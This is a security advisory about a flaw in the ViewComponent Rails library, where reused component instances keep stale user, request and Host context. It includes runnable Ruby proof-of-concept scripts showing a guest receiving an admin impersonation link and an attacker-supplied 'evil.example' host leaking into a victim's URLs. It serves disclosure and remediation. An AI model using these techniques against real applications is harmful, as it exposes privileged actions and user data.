ViewComponent: Reused Component Instances Retain Stale Render Context # Reused Component Instances Retain Stale Render Context ## Summary `ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render. This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering. ## Severity The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned: Alternative CVSS: 8.2 Alternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N` ## Affected Code Validated against: - Repository commit: `eea79445` - Ruby: `3.4.9` Relevant locations: - `lib/view_component/base.rb` - `render_in` - `controller` - `helpers` - `__vc_request` - `lib/view_component/slot.rb` - `Slot#to_s` - `lib/view_component/slotable.rb` - slot storage in `@__vc_set_slots` - `lib/view_component/collection.rb` - child component memoization and spacer rendering Key retained state: ```ruby @view_context = view_context self.__vc_original_view_context ||= view_context @lookup_context ||= view_context.lookup_context @view_flow ||= view_context.view_flow @__vc_requested_details ||= @lookup_context.vc_requested_details ``` ```ruby @__vc_controller ||= view_context.controller @__vc_helpers ||= __vc_original_view_context || controller.view_context @__vc_request ||= controller.request if controller.respond_to?(:request) ``` Slot children also inherit the parent original view context: ```ruby @__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context ``` Collections memoize child component instances: ```ruby return @components if defined? @components ``` ## Root Cause Component instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering. There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render. Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant. ## Proof of Concept The following PoC demonstrates four independent effects: - stale authorization gate - stale Host/request data in generated absolute URLs - stale slot child context - cross-thread context mixing Run from the repository root: ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" class ReusePocController < ActionController::Base helper_method :current_user, :admin? attr_accessor :current_user, :role def admin? = role == :admin end routes = ActionDispatch::Routing::RouteSet.new routes.draw { get "/accounts/:id", to: "accounts#show" } ReusePocController.include routes.url_helpers class AdminPanelComponent < ViewComponent::Base def render? = helpers.admin? def call href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false) "ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe end end class UrlOnlyComponent < ViewComponent::Base def call href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false) "user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe end end class SlotChildComponent < ViewComponent::Base def call = "child_user=#{helpers.current_user};child_path=#{request.path}".html_safe end class SlotParentComponent < ViewComponent::Base renders_one :child, SlotChildComponent def call = "parent_user=#{helpers.current_user};parent_path=#{request.path};".html_safe + child.to_s end class RaceComponent < ViewComponent::Base def before_render = sleep 0.05 def call = "#{helpers.current_user}@#{request.path}".html_safe end def vc(user:, role:, path:, host: "app.example") c = ReusePocController.new c.current_user = user c.role = role c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host))) c.set_response!(ActionDispatch::Response.new) c.view_context end admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example") guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example") panel = AdminPanelComponent.new puts "auth_admin_first=#{panel.render_in(admin_vc)}" puts "auth_guest_reused=#{panel.render_in(guest_vc)}" puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}" url = UrlOnlyComponent.new puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}" puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" parent = SlotParentComponent.new puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}" puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}" puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}" race = RaceComponent.new q = Queue.new t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] } t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] } t1.join t2.join results = 2.times.map { q.pop }.to_h puts "race_admin_thread=#{results[:admin]}" puts "race_guest_thread=#{results[:guest]}" ``` Observed output: ```text auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_fresh="" host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42 slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest race_admin_thread=admin@/guest race_guest_thread=admin@/guest ``` ## Authorization-Impact PoC The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object. The component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link. ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" module SharedComponentRegistry def self.admin_toolbar @admin_toolbar ||= AdminToolbarComponent.new end def self.reset! remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar) end end User = Struct.new(:id, :role, keyword_init: true) do def admin? = role == :admin end class AppController < ActionController::Base helper_method :current_user, :admin? attr_accessor :current_user def admin? current_user&.admin? end end routes = ActionDispatch::Routing::RouteSet.new routes.draw do get "/admin/users/:id/impersonate", to: "admin/users#impersonate", as: :impersonate_admin_user end AppController.include routes.url_helpers class AdminToolbarComponent < ViewComponent::Base def render? helpers.admin? end def call helpers.link_to( "Impersonate user 42", helpers.impersonate_admin_user_url(42, host: request.host), data: { turbo_method: :post } ) end end class DashboardController < AppController def render_dashboard_with_shared_component render_to_string(inline: '

Dashboard

<%= render SharedComponentRegistry.admin_toolbar %>

') end def render_dashboard_with_fresh_component render_to_string(inline: '

Dashboard

<%= render AdminToolbarComponent.new %>

') end end def controller_for(user:, host:, path: "/dashboard") c = DashboardController.new c.current_user = user c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host))) c.set_response!(ActionDispatch::Response.new) c end SharedComponentRegistry.reset! admin = User.new(id: 1, role: :admin) guest = User.new(id: 2, role: :guest) admin_response = controller_for(user: admin, host: "admin.example").render_dashboard_with_shared_component guest_reused_response = controller_for(user: guest, host: "app.example").render_dashboard_with_shared_component guest_fresh_response = controller_for(user: guest, host: "app.example").render_dashboard_with_fresh_component puts "admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}" puts "guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}" puts "guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}" puts "guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}" puts "guest_reused_response=#{guest_reused_response.gsub(/\s+/, ' ').strip}" puts "guest_fresh_response=#{guest_fresh_response.gsub(/\s+/, ' ').strip.inspect}" ``` Observed output: ```text admin_shared_contains_admin_link=true guest_reused_contains_admin_link=true guest_fresh_contains_admin_link=false guest_reused_contains_admin_host=true guest_reused_response=

Dashboard

Impersonate user 42

guest_fresh_response="

Dashboard

" ``` This confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL. ## Exploit Scenario A downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object. Potential real-world examples: - A navigation/sidebar component checks `helpers.admin?` in `render?`. - A tenant switcher uses `request.host` or `current_user.account`. - A component emits absolute URLs or signed action links. - A table uses slot child components that rely on helper/request state. - A global UI registry stores instantiated spacer or child components. In these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users. ## Impact Confirmed impact classes: - stale privileged UI rendering - stale user identity through `helpers` - stale Host/request data in generated absolute URLs - slot child context inheritance - cross-thread context corruption - stale format/variant template selection - stale `view_flow` / `content_for` writes - collection and spacer component context leakage This can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data. ## Preconditions - The same component, collection, slot, or spacer component instance is reused across render contexts. - The component reads request-scoped or user-scoped APIs such as `helpers`, `controller`, `request`, URL helpers, `render?`, `before_render`, slots, variants, formats, or `content_for`. - Higher impact when the shared object crosses users, tenants, roles, or threads. Normal per-request usage such as `render(MyComponent.new(...))` is not affected. ## Chaining Potential This issue can chain with: - UI-only authorization checks - signed admin links embedded in components - Host header poisoning - multi-tenant routing based on host/subdomain - shared component registries - fragment/component caching patterns that cache objects rather than rendered strings - concurrent Rails servers such as Puma The framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions. ## Remediation The safest fix is to make component and collection instances one-shot renderables. Recommended options: 1. Add a runtime guard in `render_in` that raises or warns when the same component instance is rendered again with a different `view_context`. 2. Reset render-scoped ivars at the beginning of every render, including: - `__vc_original_view_context` - `@lookup_context` - `@view_flow` - `@__vc_requested_details` - `@__vc_controller` - `@__vc_helpers` - `@__vc_request` 3. Rebuild `ViewComponent::Collection` child component instances per render or document/enforce collections as one-shot. 4. Avoid accepting a reusable instantiated `spacer_component`, or reset/clone it before rendering. 5. Add thread-safety tests for concurrent rendering of a shared instance.

CVE-2026-54497 Blast Radius

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